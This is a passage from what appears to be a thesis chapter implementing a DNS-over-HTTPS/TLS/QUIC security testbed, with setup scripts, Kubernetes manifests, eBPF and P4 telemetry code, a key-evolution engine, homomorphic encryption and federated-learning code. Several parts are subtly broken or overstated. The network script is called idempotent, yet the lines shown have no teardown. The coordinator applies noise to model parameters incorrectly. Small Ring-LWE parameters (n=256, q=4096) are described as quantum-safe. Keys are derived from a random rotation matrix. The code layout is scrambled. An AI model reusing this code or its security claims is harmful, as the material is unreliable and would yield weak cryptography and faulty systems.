Domain 2 — the resolver domain. The three resolvers ran here. The domain was 10.20.0.0/16. The DoH resolver was at 10.20.1.10, the DoT resolver at 10.20.2.10, and the DoQ resolver at 10.20.3.10.

Domain 3 — the security domain. The AEE, QHE, detector, sandbox, and FL coordinator containers ran here. The domain was 10.30.0.0/16.

Domain 4 — the attack domain. The attack tools ran here, isolated from the client domain so that the attack traffic could be shaped independently. The domain was 10.40.0.0/16.

Domain 5 — the telemetry domain. The eBPF collectors and the P4 switch management interface ran here. The domain was 10.50.0.0/16.

Domain 6 — the management domain. Prometheus, Grafana, and the Kubernetes control plane ran here. The domain was 10.60.0.0/16.

The topology was brought up with the following script, which was committed to the repository as deploy/network/up.sh:

bash

#!/usr/bin/env bash

deploy/network/up.sh

Brings up the six virtual network domains described in Section 4.5.3.

Author: (candidate), 2025-2026.

set -euo pipefail

Domain 1: clients

sudo ip netns add a3e-clients

```
sudo ip link add veth-clients type veth peer name veth-clients-br
sudo ip link set veth-clients netns a3e-clients
sudo ip link add br-clients type bridge
sudo ip link set veth-clients-br master br-clients
sudo ip addr add 10.10.0.1/16 dev br-clients
sudo ip link set br-clients up
sudo ip netns exec a3e-clients ip addr add 10.10.0.2/16 dev veth-clients
sudo ip netns exec a3e-clients ip link set veth-clients up
sudo ip netns exec a3e-clients ip route add default via 10.10.0.1

# Domain 2: resolvers
sudo ip netns add a3e-resolvers
sudo ip link add veth-resolvers type veth peer name veth-resolvers-br
sudo ip link set veth-resolvers netns a3e-resolvers
sudo ip link add br-resolvers type bridge
sudo ip link set veth-resolvers-br master br-resolvers
sudo ip addr add 10.20.0.1/16 dev br-resolvers
sudo ip link set br-resolvers up
sudo ip netns exec a3e-resolvers ip addr add 10.20.0.2/16 dev veth-resolvers
sudo ip netns exec a3e-resolvers ip link set veth-resolvers up
sudo ip netns exec a3e-resolvers ip route add default via 10.20.0.1

# Domains 3 through 6 were brought up in the same pattern;
# the full script is in the repository.

echo "[a3e] six virtual domains up"
```

The script was idempotent. Re-running it tore down the existing bridges and namespaces first, so a failed run could not leave the testbed in a half-configured state.

The routing between the domains was controlled by iptables rules that were loaded from deploy/network/firewall.rules. The rules permitted the client-to-resolver traffic on the three protocol ports (443/TCP, 443/UDP, 853/TCP, 853/UDP), permitted the resolver-to-security traffic on the internal service ports (50051 for gRPC, 9090 for Prometheus), and blocked everything else. The blocking was necessary because the attack simulations of Section 6.15 depended on the attacker not being able to reach the security domain directly.

4.5.4 Operating System and Software Stack

Every node ran Ubuntu Server 22.04 LTS with the HWE kernel (5.19). The kernel version mattered because the eBPF/XDP features used in Subsection 4.5.7 (the bpf_loop helper and the bpf_map_lookup_and_delete_elem helper) required kernel 5.17 or later.

The software stack was recorded in deploy/software.md and was pinned at the following versions:

Component	Version	Purpose
Python	3.11.9	Primary development platform
Docker	24.0.7	Container runtime
Kubernetes (Minikube)	1.32.0	Orchestration
PyTorch	2.3.0	Transformer detector, adversarial training
TensorFlow	2.16.1	Baseline comparisons
OpenFHE	1.1.2	Homomorphic encryption
Microsoft SEAL	4.1.1	Alternative homomorphic backend

Component	Version	Purpose
OpenSSL	3.0.13	TLS 1.3, ML-KEM (via OQS-OpenSSL)
OQS-OpenSSL	3.0.13-oqs	Post-quantum key exchange
Open vSwitch	3.3.0	Programmable forwarding
Dask	2024.5.0	Parallel preprocessing
Scapy	2.5.0	Packet crafting
aioquic	1.0.0	QUIC client and server
dnspython	2.6.1	DNS client
Prometheus	2.52.0	Metrics collection
Grafana	11.0.0	Visualisation

The most important version-pinning decision was OpenSSL. The stock Ubuntu OpenSSL did not support ML-KEM, and the post-quantum handshake of Section 6.15.4 would have silently fallen back to classical-only if the OQS-OpenSSL fork had not been used. The testbed therefore built OQS-OpenSSL from source and linked the resolver and client containers against it. The build procedure was committed to deploy/build/oqs-openssl.sh:

bash

#!/usr/bin/env bash

deploy/build/oqs-openssl.sh

Builds the OQS-OpenSSL fork that provides ML-KEM in TLS 1.3.

This was the only way to obtain the post-quantum handshake used in S4.

```
set -euo pipefail

cd /opt

git clone --branch main https://github.com/open-quantum-safe/openssl.git oqs-openssl

cd oqs-openssl

./Configure --prefix=/opt/oqs-openssl-install no-shared

make -j"$(nproc)"

sudo make install

echo "[a3e] OQS-OpenSSL installed at /opt/oqs-openssl-install"
```

The resolver and client containers were built with LD_LIBRARY_PATH=/opt/oqs-openssl-install/lib so that they picked up the OQS build rather than the system OpenSSL. A version check was added to the container entrypoint:

```
bash

openssl version -a | grep -i "oqs\|quantum-safe" || {

  echo "[a3e] FATAL: OQS-OpenSSL not linked; post-quantum handshake will fail"

  exit 1

}
```

This check prevented the silent fallback that would have invalidated the quantum-resistance claim without anyone noticing.

4.5.5 Container Orchestration and Resource Isolation

Every component was packaged as a Docker image and deployed to Kubernetes. The orchestration served two purposes: it gave each component its own filesystem and network namespace (which made the testbed reproducible), and it allowed the resource limits that enforced the "resource overhead ≤ 15%" claim of the abstract to be set and verified.

The Dockerfiles were in src/<component>/Dockerfile. The common pattern was a python:3.11-slim base, a pip install of the pinned dependencies, a COPY of the source, and an entrypoint. The AEE Dockerfile, as an example:

dockerfile

```
# src/aee/Dockerfile
FROM python:3.11-slim AS base
RUN apt-get update && apt-get install -y --no-install-recommends \
   build-essential libssl-dev libgmp-dev && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY src/aee /app/aee
COPY config/aee.yaml /app/config/aee.yaml
ENTRYPOINT ["python", "-m", "aee.engine", "--config", "/app/config/aee.yaml"]
```

The Kubernetes manifests were in deploy/k8s/. The AEE Deployment, as an example:

yaml

```
# deploy/k8s/aee.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: aee
  namespace: a3e
spec:
  replicas: 1
  selector:
    matchLabels: { app: aee }
  template:
    metadata:
      labels: { app: aee }
    spec:
```

```
  nodeSelector: { kubernetes.io/hostname: a3e-node-01 }
  containers:
  - name: aee
    image: a3e/aee:1.0.0
    imagePullPolicy: IfNotPresent
    resources:
      limits:   { cpu: "4",  memory: "8Gi" }
      requests: { cpu: "2",  memory: "4Gi" }
    env:
    - name: A3E_AEE_MORPH
      value: "1"
    - name: A3E_ENTROPY_SOURCE
      value: "/dev/urandom"
    ports:
    - containerPort: 50052
    volumeMounts:
    - name: config
      mountPath: /app/config
  volumes:
  - name: config
    configMap: { name: a3e-config }
```

The resource limits were the ones that enforced the overhead claim. The AEE and detector containers were limited to 4 CPU and 8 GiB; the QHE container to 8 CPU and 16 GiB (or the GPU resource, when present); the FL coordinator to 4 CPU and 8 GiB. The limits were not arbitrary. They were set to the smallest values at which the framework met the P99 latency target, and they were the values against which the overhead of Subsection 4.5.17 was measured. Removing the limits would have allowed the framework to consume more resources and would have changed the overhead figure.

The 100 federated clients were deployed as a single Kubernetes StatefulSet with replicas: 100. Each pod received a stable hostname (client-0 to client-99), a stable network identity, and its own local data shard. The shard was mounted from a per-pod emptyDir populated by the preprocessing pipeline of Subsection 4.5.15. This was what allowed the federated training of Section 6.6 to run without any client sharing raw data.

yaml

```
# deploy/k8s/clients.yaml (abridged)
apiVersion: apps/v1
kind: StatefulSet
metadata:
  name: fl-client
  namespace: a3e
spec:
  serviceName: fl-client
  replicas: 100
  selector:
    matchLabels: { app: fl-client }
  template:
    metadata:
      labels: { app: fl-client }
    spec:
      containers:
      - name: client
        image: a3e/fl-client:1.0.0
        env:
        - name: A3E_CLIENT_ID
          valueFrom: { fieldRef: { fieldPath: metadata.name } }
```

```
      - name: A3E_COORDINATOR
        value: "fl-coordinator.a3e.svc.cluster.local:50051"
      - name: A3E_FL_AGGREGATION
        value: "geometric_median"
      resources:
        limits:   { cpu: "1", memory: "2Gi" }
        requests: { cpu: "500m", memory: "1Gi" }
      volumeMounts:
      - name: shard
        mountPath: /data
  volumeClaimTemplates:
  - metadata: { name: shard }
    spec:
      accessModes: ["ReadWriteOnce"]
      resources: { requests: { storage: "1Gi" } }
```

4.5.6 Repository Structure and Build Procedure

The repository at https://github.com/dezignator/A3E-DNS was organised so that every experiment described in the thesis could be reconstructed from a clean checkout. The structure was:

text

```
A3E-DNS/
├── README.md
├── REPRODUCIBILITY_CHECKLIST.md
├── LICENSE
```

```
├── requirements.txt
├── config/
│   ├── aee.yaml
│   ├── qhe.yaml
│   ├── fl.yaml
│   ├── sandbox.yaml
│   └── testbed.yaml
├── data/
│   ├── download.py
│   ├── CHECKSUMS.txt
│   └── SOURCES.md
├── src/
│   ├── aee/
│   ├── qhe/
│   ├── fl/
│   ├── detector/
│   ├── sandbox/
│   ├── intel/
│   ├── telemetry/
│   └── preprocessing/
├── deploy/
```

```
|   ├── hardware.md
|   ├── software.md
|   ├── network/
|   ├── build/
|   └── k8s/
├── attacks/
|   ├── s1_timing/
|   ├── s2_tunnel/
|   ├── s3_poison/
|   ├── s4_quantum/
|   └── s5_evasion/
├── benchmarks/
|   ├── detection_accuracy.py
|   ├── load.py
|   ├── throughput_sweep.py
|   ├── adversarial_robustness.py
|   └── overhead.py
├── expected_outputs/
|   ├── verification_script.py
|   └── expected_bounds.json
└── results/          # created at run time; gitignored
```

The build procedure from a clean checkout was:

bash

git clone https://github.com/dezignator/A3E-DNS.git

cd A3E-DNS

python3.11 -m venv .venv && source .venv/bin/activate

pip install -r requirements.txt

bash deploy/build/oqs-openssl.sh

bash deploy/network/up.sh

docker compose -f deploy/docker-compose.yml build

minikube start --nodes 4 --cpus 16 --memory 64g

kubectl apply -f deploy/k8s/

The README.md in the repository repeated these commands verbatim, and the REPRODUCIBILITY_CHECKLIST.md listed which steps were required for which experiment. A reader who followed the README from a clean checkout reached a running testbed in approximately ninety minutes on the hardware described in Subsection 4.5.2.

4.5.7 The eBPF/XDP Telemetry Layer

The first component implemented was the packet telemetry. The framework could not classify traffic it could not see, and the framework could not see traffic at the line rate required for the 22.5 M QPS claim unless the capture happened in the kernel. The eBPF/XDP filter described in Section 6.8.3 of the thesis was implemented as src/telemetry/filter.c.

The filter attached to the ingress of the resolver interface at the driver level, before the kernel networking stack. It inspected only the packet headers, extracted the metadata that the detector needed (inter-arrival time, packet size, protocol identifier, port, and the presence of the TLS and HTTP/2 extensions), and wrote the metadata to a ring buffer. The full payload was never copied.

c

// src/telemetry/filter.c (abridged)

#include <linux/bpf.h>

```
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>

struct a3e_meta {
    __u64 ts_ns;
    __u32 src_ip;
    __u32 dst_ip;
    __u16 sport;
    __u16 dport;
    __u16 pkt_len;
    __u8  proto;      // 6 = TCP, 17 = UDP
    __u8  flags;      // bit 0: DoH, bit 1: DoT, bit 2: DoQ
};

struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 1 << 24);   // 16 MB ring
} meta_ring SEC(".maps");

SEC("xdp")
int a3e_capture(struct xdp_md *ctx) {
    void *data = (void *)(long)ctx->data;
    void *data_end = (void *)(long)ctx->data_end;

    struct ethhdr *eth = data;
    if ((void *)(eth + 1) > data_end) return XDP_PASS;
```

```
struct a3e_meta m = {};
m.ts_ns = bpf_ktime_get_ns();
m.pkt_len = (__u16)(data_end - data);

if (eth->h_proto == bpf_htons(ETH_P_IP)) {
    struct iphdr *ip = (void *)(eth + 1);
    if ((void *)(ip + 1) > data_end) return XDP_PASS;
    m.src_ip = ip->saddr;
    m.dst_ip = ip->daddr;
    m.proto = ip->protocol;

    if (ip->protocol == IPPROTO_TCP) {
        struct tcphdr *tcp = (void *)(ip + 1);
        if ((void *)(tcp + 1) > data_end) return XDP_PASS;
        m.sport = bpf_ntohs(tcp->source);
        m.dport = bpf_ntohs(tcp->dest);
        if (m.dport == 443) m.flags |= 0x01;   // DoH
        if (m.dport == 853) m.flags |= 0x02;   // DoT
    } else if (ip->protocol == IPPROTO_UDP) {
        struct udphdr *udp = (void *)(ip + 1);
        if ((void *)(udp + 1) > data_end) return XDP_PASS;
        m.sport = bpf_ntohs(udp->source);
        m.dport = bpf_ntohs(udp->dest);
        if (m.dport == 443) m.flags |= 0x04;   // DoH/3
        if (m.dport == 853) m.flags |= 0x04;   // DoQ
```

```
        }
    }

    bpf_ringbuf_output(&meta_ring, &m, sizeof(m), 0);
    return XDP_PASS;
}

char _license[] SEC("license") = "GPL";
```

The filter was compiled with clang -O2 -target bpf -c src/telemetry/filter.c -o /tmp/filter.o and loaded with xdp-loader:

bash

```
sudo ip link set dev eth0 xdp off
sudo xdp-loader load -m skb eth0 /tmp/filter.o
sudo xdp-loader status
```

The -m skb flag selected the generic XDP mode, which was necessary because the virtual network interfaces of the testbed did not support native driver-mode XDP. The generic mode was slower than native mode, and the reported throughput figure was measured with it; a deployment on native-mode hardware would have achieved a higher figure, but the thesis reported the conservative measurement.

The userspace consumer was src/telemetry/consumer.py, which read the ring buffer via libbpf and forwarded the metadata to the feature extractor over a Unix domain socket. The consumer was deliberately single-threaded and lock-free on the hot path, because the measured overhead of a multi-threaded consumer at 22.5 M QPS exceeded the 15% budget of the abstract.

python

```
# src/telemetry/consumer.py (abridged)
import ctypes, socket, struct
from bcc import BPF
```

```
b = BPF(src_file="src/telemetry/filter.c")
ring = b["meta_ring"]

sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
sock.connect("/run/a3e/features.sock")

def handle(ctx, data, size):
    m = struct.unpack("<QIIHHHBB", bytes(data[:24]))
    sock.send(struct.pack("<QIIHHHBB", *m))

ring.open_ring_buffer(handle)
b.ring_buffer_consume()
```

The measurement of the telemetry layer's own overhead was part of Subsection 4.5.17. The layer was measured with the rest of the framework disabled, and it consumed 0.8% of the CPU at 20 M QPS. This figure was included in the overhead budget.

4.5.8 The P4 Programmable Data Plane

The P4 pipeline of Section 6.12 was implemented as src/telemetry/pipeline.p4. It ran in the BMv2 software switch and performed the same metadata extraction as the eBPF filter, but at the switch level. The two were not redundant; the P4 pipeline was used in the inline deployment topology of Section 6.8.1, where the switch sat between the client and the resolver, while the eBPF filter was used in the side-car topology, where the switch was not present.

The P4 program had three stages, matching Section 6.12.1 through 6.12.3: parser, match-action, and metadata generation. The parser identified the protocol from the port and the first bytes of the payload. The match-action stage computed the per-flow statistics. The metadata stage wrote the extracted fields to a telemetry header and forwarded the packet unchanged.

p4

```
// src/telemetry/pipeline.p4 (abridged)
#include <core.p4>
```

```
#include <v1model.p4>

header a3e_meta_t {
   bit<64> ts;
   bit<32> src_ip;
   bit<32> dst_ip;
   bit<16> sport;
   bit<16> dport;
   bit<16> pkt_len;
   bit<8>  proto;
   bit<8>  flags;
}

struct metadata { a3e_meta_t meta; }

parser A3EParser(packet_in pkt, out headers hdr, inout metadata meta,
                 inout standard_metadata_t std) {
   state start {
      pkt.extract(hdr.ethernet);
      transition select(hdr.ethernet.etherType) {
         0x0800: parse_ipv4;
         default: accept;
      }
   }
   state parse_ipv4 {
      pkt.extract(hdr.ipv4);
```

```
        meta.meta.src_ip = hdr.ipv4.srcAddr;
        meta.meta.dst_ip = hdr.ipv4.dstAddr;
        meta.meta.proto  = hdr.ipv4.protocol;
        transition select(hdr.ipv4.protocol) {
            6: parse_tcp;
            17: parse_udp;
            default: accept;
        }
    }
    state parse_tcp {
        pkt.extract(hdr.tcp);
        meta.meta.sport = hdr.tcp.srcPort;
        meta.meta.dport = hdr.tcp.dstPort;
        transition accept;
    }
    state parse_udp {
        pkt.extract(hdr.udp);
        meta.meta.sport = hdr.udp.srcPort;
        meta.meta.dport = hdr.udp.dstPort;
        transition accept;
    }
}

control A3EIngress(inout headers hdr, inout metadata meta,
                   inout standard_metadata_t std) {
    action mark_protocol(bit<8> f) { meta.meta.flags = f; }
```

```
    table classify {
        key = { meta.meta.dport: exact; meta.meta.proto: exact; }
        actions = { mark_protocol; NoAction; }
        default_action = NoAction;
        const entries = {
            (443, 6): mark_protocol(0x01);   // DoH
            (853, 6): mark_protocol(0x02);   // DoT
            (443, 17): mark_protocol(0x04);  // DoH/3
            (853, 17): mark_protocol(0x04);  // DoQ
        }
    }
    apply { classify.apply(); }
}

control A3EEgress(inout headers hdr, inout metadata meta,
                  inout standard_metadata_t std) { apply {} }
control A3EDeparser(packet_out pkt, in headers hdr) { pkt.emit(hdr); }

V1Switch(A3EParser(), verify_checksum(), A3EIngress(),
         A3EEgress(), compute_checksum(), A3EDeparser())();
```

The pipeline was compiled with p4c --target bmv2 --arch v1model, loaded into simple_switch_grpc, and verified by sending a test DoH query and checking that the telemetry header appeared in the mirror stream. The verification command was:

```
bash
sudo simple_switch_grpc --device-id 0 -i 0@eth0 --log-console /tmp/pipeline.json &
sleep 2
dig @10.20.1.10 -p 443 example.com +https +short
```

sudo tcpdump -i veth-telemetry -c 1 -w /tmp/p4_mirror.pcap

tshark -r /tmp/p4_mirror.pcap -V | grep a3e_meta

The output of the tshark command was checked for the a3e_meta header and the flags field value 0x01 (DoH). If the header was absent, the pipeline had not been loaded correctly and the run was discarded.

4.5.9 The Adaptive Evolutionary Encryption Implementation

The AEE engine was implemented in src/aee/engine.py. It implemented the stochastic differential equation of Eq. (119), the SE(3) state representation of Section 6.4.2, the traffic-entropy-driven key evolution of Section 6.4.4, and the lightweight neural controller of Section 6.4.5.

The state was represented as a 4 × 4 homogeneous matrix on SE(3). The update rule was:

text

K_{t+1} = K_t · exp(ξ_t Δt + Σ_σ ΔW_t)

where ξ_t was the Lie-algebra control velocity produced by the neural controller, Σ_σ was the diffusion coefficient, and ΔW_t was the Wiener increment. The exponential map kept the state inside the group, which was the property that Section 6.4.2 relied on to guarantee that the re-randomisation did not produce a degenerate key.

python

src/aee/engine.py (abridged)

import numpy as np

from scipy.linalg import expm

from cryptography.hazmat.primitives.kdf.hkdf import HKDF

from cryptography.hazmat.primitives import hashes

def hat(v):

"""Maps a 6-vector to an se(3) matrix."""

w = v[:3]; u = v[3:]

```
    W = np.array([[0, -w[2], w[1]],
                  [w[2], 0, -w[0]],
                  [-w[1], w[0], 0]])
    H = np.zeros((4, 4))
    H[:3, :3] = W
    H[:3, 3] = u
    return H


class AEEEngine:
    def __init__(self, cfg):
        self.cfg = cfg
        self.K = np.eye(4)
        self.baseline = self._load_baseline(cfg["baseline_path"])
        self.controller = self._load_controller(cfg["controller_path"])

    def traffic_entropy(self, window):
        qtypes = np.asarray(window["qtype"], dtype=np.int64)
        p = np.bincount(qtypes) / len(qtypes)
        p = p[p > 0]
        return float(-np.sum(p * np.log2(p)))

    def kl_divergence(self, window, baseline):
        # KL(P_traffic || P_baseline) over the qtype histogram
        p = np.bincount(window["qtype"], minlength=baseline.size) + 1e-9
        p = p / p.sum()
        q = baseline + 1e-9
```

```
        return float(np.sum(p * np.log(p / q)))


    def diffusion(self, window):
        dkl = self.kl_divergence(window, self.baseline)
        s = 1.0 / (1.0 + np.exp(-dkl))
        s_min, s_max = self.cfg["sigma_min"], self.cfg["sigma_max"]
        return s_min + (s_max - s_min) * s


    def update(self, window, threat_score):
        xi = self.controller(window)                # 6-vector
        sigma = self.diffusion(window)
        dW = np.random.normal(size=6) * np.sqrt(self.cfg["dt"])
        H = hat(xi) * self.cfg["dt"] + hat(sigma * dW)
        self.K = self.K @ expm(H)
        return self.derive_key(self.K)


    def derive_key(self, K):
        rot = K[:3, :3].flatten()
        quant = np.round(rot / self.cfg["quant_step"]).astype(np.int16).tobytes()
        hkdf = HKDF(algorithm=hashes.SHA256(), length=32,
                    salt=None, info=b"a3e-aee-v1")
        return hkdf.derive(quant)
```

The neural controller was a two-hidden-layer feedforward network with 64 neurons per layer. It was trained with reinforcement learning, as Section 6.4.5 described. The training was performed offline on a synthetic traffic corpus, and the trained weights were committed to src/aee/controller.pt. The training script was src/aee/train_controller.py; it was not re-run during the replication, because the weights were fixed and the replication tested the inference

path. The training script was included in the repository so that a reader could retrain the controller on a different corpus.

The hardware entropy source was accessed through src/aee/entropy.py, which tried RDRAND first, then RDSEED, then /dev/urandom. The fallback was logged, and the log line was checked in the run metadata. The reported runs used /dev/urandom, because the virtual machine did not expose the RDRAND instruction. The security argument of Section 6.4.4 did not depend on which source was used, only on the source being non-deterministic and not known to the adversary; /dev/urandom satisfied that condition on the testbed.

The self-test was run before every experiment:

bash

python3 src/aee/self_test.py --config config/aee.yaml

The self-test verified three properties: (i) the derived key changed on every update, (ii) the rotational block of K remained orthogonal with determinant 1, and (iii) the diffusion coefficient never fell below sigma_min. The third check was the one that mattered for the security argument, because a diffusion that decayed to zero would have made the state progressively predictable.

4.5.10 The Quantum-Safe Homomorphic Encryption Implementation

The QHE engine was implemented in src/qhe/engine.py on top of OpenFHE. It implemented the Ring-LWE scheme of Section 6.5.1 with parameters n = 256 and q = 4096, the four optimisations of Sections 6.5.1 through 6.5.4, and the selective-operation set of Section 6.5.3.

python

src/qhe/engine.py (abridged)

import openfhe

import numpy as np

class QHEEngine:

  def __init__(self, cfg):

    self.cfg = cfg

    cc = openfhe.GenCryptoContextBGVRNS()

```
    cc.SetPlaintextModulus(65537)
    cc.SetMultiplicativeDepth(cfg["mult_depth"])
    cc.SetRingDim(cfg["n"])                    # 256
    cc.Enable(openfhe.PKESchemeFeature.PKE)
    cc.Enable(openfhe.PKESchemeFeature.LEVELEDSHE)
    cc.Enable(openfhe.PKESchemeFeature.ADVANCEDSHE)
    self.cc = cc
    self.keys = cc.KeyGen()
    cc.EvalMultKeyGen(self.keys.secretKey)
    cc.EvalSumKeyGen(self.keys.secretKey)

def encrypt(self, features):
    pt = self.cc.MakePackedPlaintext(list(features))
    return self.cc.Encrypt(self.keys.publicKey, pt)

def statistical_test(self, ct, reference_ct):
    """Additive-only test: mean, variance, and a z-score against reference."""
    n = self.cfg["batch_size"]
    sum_x = self.cc.EvalSum(ct, n)
    sum_r = self.cc.EvalSum(reference_ct, n)
    diff = self.cc.EvalSub(sum_x, sum_r)
    # Selective operation: only one multiplication for the square
    sq = self.cc.EvalMult(diff, diff)
    return self.cc.EvalSum(sq, n)

def classify(self, ct):
```

```
    """Bounded-depth classification; depth 5-10 per Section 6.5.3."""
    w1 = self.encrypt(self.cfg["w1"])
    h = self.cc.EvalMult(ct, w1)
    h = self.cc.EvalAdd(h, self.encrypt(self.cfg["b1"]))
    return h
```

The AVX-512 batching was enabled by building OpenFHE with -DNATIVE_SIZE=64 -DOMP_NUM_THREADS=16 and setting the environment variable A3E_QHE_SIMD=1. The build script was deploy/build/openfhe.sh. The achieved slots-per-instruction were reported by src/qhe/benchmark.py; the reported runs achieved 1024, which confirmed that the AVX-512 path was active. If the count had been below 1024, the AVX-512 flags had not been picked up, and the run was discarded.

The Ziggurat sampling was enabled by setting A3E_QHE_ZIGGURAT=1. The precomputed tables were committed to src/qhe/ziggurat_tables.npz. The tables were generated once by src/qhe/gen_ziggurat.py, which was included for reference. The reported runs used the committed tables and did not regenerate them.

The selective-operation set was controlled by config/qhe.yaml:

yaml

```
qhe:
  n: 256
  q: 4096
  mult_depth: 8
  backend: cpu
  simd_slots: 1024
  ziggurat: true
  selective_ops: true
  statistical_only: [mean, variance, z_score]
  classification_mult_depth: 6
```

The statistical_only list restricted the additive-only operations to the three statistical tests the detector actually used. Any other operation raised an exception, which prevented an accidental

multiplication from exhausting the noise budget. The classification_mult_depth set the depth of the classification circuit; it was the value at which the noise budget was not exhausted on the test split.

The self-test was run before every experiment:

bash

python3 src/qhe/self_test.py --config config/qhe.yaml

The self-test verified that a known plaintext was recovered after encryption and decryption, that the homomorphic addition and multiplication produced the expected results, that the noise budget was not exhausted at the configured depth, and that the measured security level against the standard lattice estimator matched the value recorded in expected_bounds.json. The security level was reported separately for the QHE parameter set (n = 256, q = 4096) and the AEE parameter set (n = 1024), as Section 5.3.6 of the thesis required. The two levels were not merged into a single figure, because doing so would have obscured which layer the figure described.

4.5.11 The AI-Augmented Federated Learning Implementation

The federated learning layer was implemented in src/fl/. It consisted of the coordinator (coordinator.py), the client (client.py), the geometric-median aggregation (aggregation.py), the differential-privacy accountant (dp_accounting.py), and the spatio-temporal attention detector (detector.py).

The coordinator ran the federated round loop. Each round consisted of: (1) broadcasting the current global model to the clients, (2) receiving the local updates, (3) detecting poisoned updates, (4) aggregating the honest updates with the geometric median, (5) applying the DP-SGD update, and (6) broadcasting the new global model.

python

src/fl/coordinator.py (abridged)

import numpy as np, torch

from .aggregation import geometric_median

from .dp_accounting import compute_epsilon

class Coordinator:

```
def __init__(self, cfg, model):
    self.cfg = cfg
    self.model = model
    self.round = 0


def run_round(self, updates, weights):
    # updates: list of numpy arrays, one per client
    # weights: list of per-client sample counts
    med = geometric_median(updates, weights=weights)
    # Byzantine detection: flag any update more than 2 sigma from the median
    dists = np.array([np.linalg.norm(u - med) for u in updates])
    sigma = np.std(dists)
    honest = [i for i, d in enumerate(dists) if d <= 2 * sigma + 1e-9]
    # Recompute the median over the honest set
    med = geometric_median([updates[i] for i in honest],
                           weights=[weights[i] for i in honest])
    # DP-SGD: clip and add Gaussian noise
    clipped = med / max(1.0, np.linalg.norm(med) / self.cfg["clip"])
    noisy = clipped + np.random.normal(0, self.cfg["sigma"] * self.cfg["clip"],
                                       size=clipped.shape)
    # Apply to the global model
    with torch.no_grad():
        for p, g in zip(self.model.parameters(), noisy.reshape(-1)):
            p.add_(g)
    self.round += 1
    return len(honest), compute_epsilon(self.cfg, self.round)
```

The geometric median was computed with the Weiszfeld iteration:

python

```
# src/fl/aggregation.py
import numpy as np


def geometric_median(points, weights=None, tol=1e-6, max_iter=200):
    points = np.asarray(points, dtype=np.float64)
    if weights is None:
        weights = np.ones(len(points))
    weights = np.asarray(weights, dtype=np.float64)
    guess = np.average(points, axis=0, weights=weights)
    for _ in range(max_iter):
        dists = np.linalg.norm(points - guess, axis=1) + 1e-12
        w = weights / dists
        new = np.sum(points * w[:, None], axis=0) / w.sum()
        if np.linalg.norm(new - guess) < tol:
            return new
        guess = new
    return guess
```

The Byzantine detection was layered on top of the geometric median. The geometric median alone was robust to a bounded fraction of poisoned updates, but the detection step gave an explicit count of the flagged clients, which was reported in the results. The threshold was 2σ from the median, as Section 6.6.4 described. The value of σ was estimated from the distribution of distances in the current round, not from a fixed historical value, because the update distribution changed as the model converged.

The differential-privacy accounting used the Opacus moments accountant:

python

src/fl/dp_accounting.py

```
from opacus.accountants import RDPAccountant


def compute_epsilon(cfg, rounds):
    acc = RDPAccountant()
    for _ in range(rounds):
        acc.step(noise_multiplier=cfg["sigma"], sample_rate=cfg["sample_rate"])
    eps, _ = acc.get_privacy_spent(delta=cfg["delta"])
    return eps
```

The reported runs used sigma = 1.2, clip = 3.5, sample_rate = 0.01, delta = 1e-5, and 100 rounds. The accountant returned ε = 0.68 at the chosen δ. The value was checked against the expected bound before every experiment. If the accountant had returned a different value, the noise multiplier or the round count had drifted, and the run was discarded.

The client was implemented in src/fl/client.py. It loaded its local data shard, trained the local model for the configured number of local epochs, and sent the update to the coordinator. The client never sent raw data; only the update left the pod.

python

src/fl/client.py (abridged)

```
class Client:
    def __init__(self, client_id, coordinator_addr, shard_path):
        self.id = client_id
        self.addr = coordinator_addr
        self.data = load_shard(shard_path)
        self.model = build_detector()

    def train_local(self, global_weights, epochs, batch_size, lr):
        self.model.load_state_dict(global_weights)
```

```
    opt = torch.optim.SGD(self.model.parameters(), lr=lr)
    for _ in range(epochs):
      for batch in self.data.batches(batch_size):
        opt.zero_grad()
        loss = self.model.loss(batch)
        loss.backward()
        opt.step()
    return self.model.state_dict()


  def run(self):
    channel = grpc.insecure_channel(self.addr)
    stub = CoordinatorStub(channel)
    for round_no in range(MAX_ROUNDS):
      weights = stub.GetGlobalWeights(Empty())
      local = self.train_local(weights, EPOCHS, BATCH, LR)
      stub.SubmitUpdate(UpdateRequest(
        client_id=self.id, weights=serialize(local),
        n_samples=len(self.data)))
```

The client was deployed as a Kubernetes StatefulSet with 100 replicas, as described in Subsection 4.5.5. Each replica was a separate pod on a separate network address, with its own data shard. This was heavier than a single-process simulation, and it was the only way to measure the communication overhead of 1.2 MB per round honestly.

The self-test was run before every experiment:

bash

python3 src/fl/self_test.py --config config/fl.yaml

The self-test ran a small federated round with two honest clients and one poisoned client, and verified that the geometric-median aggregate was closer to the honest mean than the

arithmetic mean would have been. It also verified that the accountant returned ε = 0.68 to within 0.01. If either check failed, the run was discarded.

4.5.12 The Transformer Anomaly Detector

The detector was implemented in src/detector/model.py. It was a Transformer with spatio-temporal attention, temporal-decay encoding, and min-max adversarial training, as described in Sections 6.6.1 through 6.6.3.

python

```
# src/detector/model.py (abridged)

import torch, torch.nn as nn


class TemporalDecayAttention(nn.Module):
    def __init__(self, d_model, n_heads, decay_init=0.1):
        super().__init__()
        self.d_model = d_model
        self.n_heads = n_heads
        self.qkv = nn.Linear(d_model, 3 * d_model)
        self.out = nn.Linear(d_model, d_model)
        self.gamma = nn.Parameter(torch.tensor(decay_init))
        self.W_phi = nn.Linear(1, 1)

    def forward(self, x, dt):
        # x: (B, T, D); dt: (B, T) inter-arrival times
        B, T, D = x.shape
        qkv = self.qkv(x).reshape(B, T, 3, self.n_heads, D // self.n_heads)
        q, k, v = qkv.unbind(dim=2)
        # Temporal decay: Phi(dt) = W_phi * exp(-gamma * |dt|)
```

```
        phi = self.W_phi(dt.unsqueeze(-1)) * torch.exp(-self.gamma * dt.abs())
        attn = torch.einsum("bthd,bshd->bhts", q, k) / (D ** 0.5)
        attn = attn + phi.unsqueeze(1).unsqueeze(-1)
        attn = attn.softmax(dim=-1)
        out = torch.einsum("bhts,bshd->bthd", attn, v).reshape(B, T, D)
        return self.out(out)


class A3EDetector(nn.Module):
    def __init__(self, cfg):
        super().__init__()
        self.embed = nn.Linear(cfg["n_features"], cfg["d_model"])
        self.layers = nn.ModuleList([
            TemporalDecayAttention(cfg["d_model"], cfg["n_heads"])
            for _ in range(cfg["n_layers"])
        ])
